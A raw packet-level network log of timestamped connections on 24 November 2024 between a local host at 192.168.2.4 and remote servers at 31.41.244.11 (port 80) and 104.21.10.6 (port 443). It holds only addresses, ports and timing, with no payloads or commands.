Nov 24, 2024 14:24:22.216475964 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.217263937 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.217308044 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.217361927 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.218230009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.218271017 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.218343973 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.219118118 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.219147921 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.219192982 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.219221115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.219260931 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.220062017 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.220110893 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.220123053 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.220957041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.221008062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.221071005 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.221918106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.221956015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.222032070 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.222069025 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.222847939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.222973108 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.223027945 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.223886013 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.224020958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.224056959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.224716902 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.224755049 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.224826097 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.225718021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.225758076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.225811958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.226583958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.226620913 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.226684093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.226721048 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.227560997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.227634907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.227669001 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.228491068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.228607893 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.228648901 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.229347944 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.229397058 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.229454041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.230293036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.230335951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.230375051 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.231232882 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.231281996 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.231354952 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.232153893 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.232191086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.232259989 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.232304096 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.233073950 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.233217001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.233256102 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.233994007 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.234062910 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.234096050 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.234931946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.235044003 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.235080004 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.235882998 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.235933065 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.236022949 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.236804008 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.236852884 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.236906052 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.237742901 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.237792969 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.237828970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.238668919 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.238709927 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.238749027 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.238787889 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.239609003 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.239835978 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.239873886 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.240530968 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.240637064 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.240673065 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.241475105 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.241513968 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.241651058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.242377996 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.242412090 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.242495060 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.243362904 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.243376970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.243433952 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.243474960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.244301081 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.244395018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.244432926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.245179892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.245219946 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.245275021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.246153116 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.246190071 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.246259928 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.247265100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.247302055 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.247438908 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.248044014 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.248076916 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.248099089 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.248137951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.248862982 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.249028921 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.249079943 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.249799013 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.249933958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.250003099 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.250891924 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.250960112 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.403292894 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.403337002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.403414965 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.403655052 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.403742075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.403789997 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.404506922 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.404553890 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.404712915 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.405052900 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.405426025 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.405472994 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.405543089 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.405589104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.406371117 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.406430960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.406466007 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.406511068 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.407277107 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.407417059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.407471895 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.408225060 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.408373117 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.408418894 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.409130096 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.409255028 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.409302950 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.410116911 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.410129070 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.410166979 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.411026955 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.411153078 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.411197901 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.411950111 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.412000895 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.412072897 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.412882090 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.412929058 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.412965059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.413043976 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.414021969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.414041996 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.414088964 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.414875984 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.415034056 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.415076971 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.416048050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.416093111 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.416171074 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.416949034 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.416987896 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.417064905 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.417788029 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.417829990 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.417843103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.417882919 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.418468952 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.418556929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.418596983 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.419383049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.419509888 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.419548988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.420341969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.420387030 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.420542002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.421040058 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.421353102 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.421399117 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.421432018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.421478033 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.422163010 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.422209024 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.422245026 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.422303915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.423130035 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.423173904 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.423275948 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.423320055 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.424005985 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.424051046 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.424122095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.424165010 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.424940109 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.424982071 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.425023079 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.425898075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.425936937 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.425997972 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.426799059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.426840067 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.426898956 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.426940918 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.427733898 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.427834034 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.427876949 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.428745031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.428844929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.428886890 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.429613113 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.429691076 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.429734945 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.430522919 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.430568933 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.430586100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.431621075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.431667089 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.431710958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.433046103 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.433048964 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.433247089 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.433290958 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.433985949 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.434032917 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.434073925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.434369087 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.434408903 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.434422016 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.435165882 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.435214996 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.435287952 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.436110020 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.436157942 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.436220884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.436264038 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.437102079 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.437200069 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.437241077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.438011885 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.438075066 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.438112020 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.438905001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.438950062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.438966036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.439830065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.439879894 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.439933062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.440756083 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.440800905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.440927029 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.440973043 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.441688061 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.441735983 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.441767931 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.441811085 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.442606926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.442672968 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.442703962 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.442747116 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.443578959 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.443624973 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.443669081 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.443713903 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.444468975 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.444514990 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.444658995 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.444700956 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.445452929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.445497036 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.445621967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.445663929 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.446623087 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.446666002 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.446674109 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.446712017 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.447264910 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.447309017 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.447350979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.447390079 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.448239088 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.448285103 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.448390961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.448435068 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.449173927 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.449218988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.449278116 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.449317932 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.450048923 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.450170994 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.450265884 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.450267076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.450992107 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.451061010 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.451132059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.451174021 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.451879025 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.451925993 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.475928068 CET	443	49784	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:22.476176977 CET	443	49784	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:22.476236105 CET	49784	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:22.476264000 CET	49784	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:22.567620993 CET	49793	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:22.567651987 CET	443	49793	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:22.567724943 CET	49793	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:22.567989111 CET	49793	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:22.568005085 CET	443	49793	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:22.604239941 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.604302883 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.604367971 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.604417086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.604682922 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.604731083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.604816914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.604857922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.605741978 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.605788946 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.605818987 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.605863094 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.606523991 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.606570005 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.606585026 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.606627941 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.607534885 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.607579947 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.607660055 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.607707977 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.608388901 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.608433008 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.608457088 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.608506918 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.609302044 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.609348059 CET	49778	80	192.168.2.4	31.41.244.11
